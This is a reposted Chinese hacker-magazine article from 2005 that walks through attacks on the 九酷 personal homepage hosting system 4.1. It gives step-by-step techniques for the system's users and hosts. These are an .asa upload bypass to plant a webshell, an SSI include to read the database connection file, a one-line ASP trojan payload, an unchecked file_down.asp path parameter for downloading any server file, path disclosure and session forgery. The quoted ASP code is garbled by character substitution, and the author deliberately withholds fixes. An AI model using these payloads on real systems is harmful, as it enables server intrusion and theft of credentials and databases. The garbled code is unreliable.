| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
再探九酷网络个人主页空间管理系统
再探九酷网络个人主页空间管理系统
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 11:13:32
本文作者:玄猫[B.C.T]
本文原发表于《黑客X档案》2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)
本文版权归《黑客X档案》和作者杂志社所有 

--------------------------------------------------------------------------------

玄猫在2004年12期的黑X上发表了对于九酷网络个人主页空间管理系统(下面称作”九酷”)的一篇漏洞研究(请参看2004年12期杂志《轻松突破免费空间限制》),当时针对的版本是3.0,最近拿到了九酷程序的4.1免费版,其官方说明上写到修正了许多漏洞,但猫猫始终认为简单的asp程序很难做到高效安全地管理免费空间,于是简单的对这套程序作了安全监测,结果发现了多个高危漏洞,大部分能直接威胁到管理员或其他用户的安全,甚至危及服务器。我们来看看这些漏洞:

1、上传漏洞。 

程序的编写者犯了一个较易被忽略的错误-仅在后台管理中配置”禁止”上传的文件的类型,而并非”允许”上传的类型,这样极容易忽略一些危险的扩展名。(图一)

我们来看界面,选择一个asp文件上传,程序提示扩展名非法(图二),好的,我们把扩展名改为asa,上传,成功,得到了一个Shell。(图三)

但是我们运气不会总是这么好吧,如果有经验的网管把asa,cer等文件的asp.dll映射删除了怎么办呢。我们可以利用SSI来获得敏感信息。

什么是SSI呢,SSI是Server Side Include的缩写,即服务器端包含,这个功能可以在服务器端包含一个文件,由ssinc.dll这个文件负责包含文件。譬如我们在asp中常用的<!--#include file=”conn.asp”-->即是SSI的一种应用。

在本地写一个文件,内容是<!--#include file=”inc/conn.asp”-->,保存为look.stm上传到服务器上,然后访问此文件,查看源文件,你就可以看到程序的数据连接文件的内容了。(图四)这个系统的数据库没有作防下载处理,我们可以放心下载。但是注意:如果文件名是有特殊符号的,我们应该用ASCII码转换器来转换正确的地址。

关于上传,还有一个漏洞就是,这个系统用的是5xsoft的通用上传类,有没有上传漏洞呢,这个漏洞很老了,希望大家自己动手试试看。

2、保存漏洞。 

新的4.1的九酷,对读目录、文件和删除都作了不错的权限判定,如果直接改参数会报错说没有权限(图五),并且改文件名的时候程序也会一样判断是不是危险类型。

经过测试,玄猫发现在文件编辑保存模块出现了小洞洞,我们可以把文件顺利地保存为asp的扩展名,但是程序会对文件内容进行检查,一些危险字符是不能用的,不过我们可以用一句话木马,在文件中写入:<%execute request(“value”)%>,然后用玄猫改进的一句话木马客户端写入新的文件即可。

3、Stream下载文件漏洞。 
程序在网站管理中有个功能是下载文件,是在服务器端以二进制方式读出文件,然后以流输出到客户端浏览器,负责这个功能的是file_down.asp文件。我们来看关键代码: 

call downloadFile(Request("path")) ‘获取参数path的值,即要下载的文件 
function downloadFile(strFile) 
strFilename = fullpath&strFile 
Response.Buffer = True 
Response.Clear 
Set s = Server.CreateObject("ADODB.Stream") ‘建立Stream对象 
s.Open 
s.Type = 1 
on error resume next 
Set fso = Server.CreateObject("Sc太阳pting.FileSystemObject") ’建立Stream对象 
if not fso.FileExists(strFilename) then ’如果文件不存在 
Response.W太阳te("<h1>Error:</h1>" & strFilename & " does not exist<p>") 
Response.End 
end if 
Set f = fso.GetFile(strFilename) 
intFilelength = f.size 
s.LoadFromFile(strFilename) ’读入文件 
if err then 
Response.W太阳te("<h1>Error: </h1>" & err.Desc太阳ption & "<p>") 
Response.End 
end if 
’开始输出文件 
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name 
Response.AddHeader "Content-Length", intFilelength 
Response.CharSet = "UTF-8" 
Response.ContentType = "application/octet-stream" 
Response.BinaryW太阳te s.Read ‘以二进制方式发送文件流 
Response.Flush 
s.Close 
Set s = Nothing 
End Function 

程序没有检测是否有权限访问要下载的文件,就通通给输出了,这样我们就可以下载服务器上的任何文件了,先提交file_down.asp?path=inc/conn.asp,下载数据库连接文件,然后就可以下载数据库了。注意:因为访问的文件是file_down.asp,所以下载的文件地址应该是相对根目录的,不要搞错了哦。 
4、暴露系统路径漏洞。 

这个漏洞还是由于上面的file_down.asp文件引起的,我们看到,这个模块的一个错误处理是当文件不存在时提示,但是程序很好心的连路径一起提示了,这样当我们试图下载一个不存在的文件时,就会得到系统路径。(图六) 
程序的漏洞到这里就算说完了,但是玄猫在文章还要说些关于这种系统的看法: 
个人认为,这种系统如果要做到安全性非常好的话,只有不提供asp的免费空间,这样将用户网站的数据目录的执行权限去掉,禁止其运行asp等由asp.dll解析的文件或这应用SSI随便读取文件,当然,这样网站提供的服务就单调很多了。可能有的朋友认为我说的过于绝对了,除去程序的漏洞不说,让我们来想想这样构建有什么弊病: 

1、用户权限难以设定: 
只要用户的权限设定有误,就可能造成用户可以越权到其他用户的目录或者网站的其他目录。 
这个问题当前没有很好的解决方式,除非给每个空间的用户单独配置internet来宾账号的权限,这样提供商的工作量就会大大加大。 
2、session混乱难以控制: 
即使像上面那样作了单独的配置,但用户始终在一台服务器上,一般提供的域名也是按照目录的方式,这样主域名一定是相同的,譬如所有用户的网址都是形如:http://blackwoods.cn/yourname的形式,但是前面的blackwoods.cn都是相同的,这样就导致用户只要可以运行asp,就可以自己构造session,加之程序中判定用户是否登录仅凭session中的用户名或者session是否为空,不在session中保存密码以密码来判定,这样我们就可以自己构造session欺骗系统以达到登录管理或其他用户的目的。 

因为漏洞比较多,并且比较明显,所以玄猫在这里就不给出漏洞的补丁了,大家可以试着对editfile.asp、upfile.asp这些文件进行修改,如果大家对这个系统还有什么更好的想法,欢迎来玄猫的窝(http://blog.blackwoods.cn)和我一起分享哦! 【转自世纪安全网 http://www.21safe.com】
新闻录入:admin    责任编辑:admin 
  • 上一篇新闻:

  • 下一篇新闻:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    九酷网络个人主页空间管

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览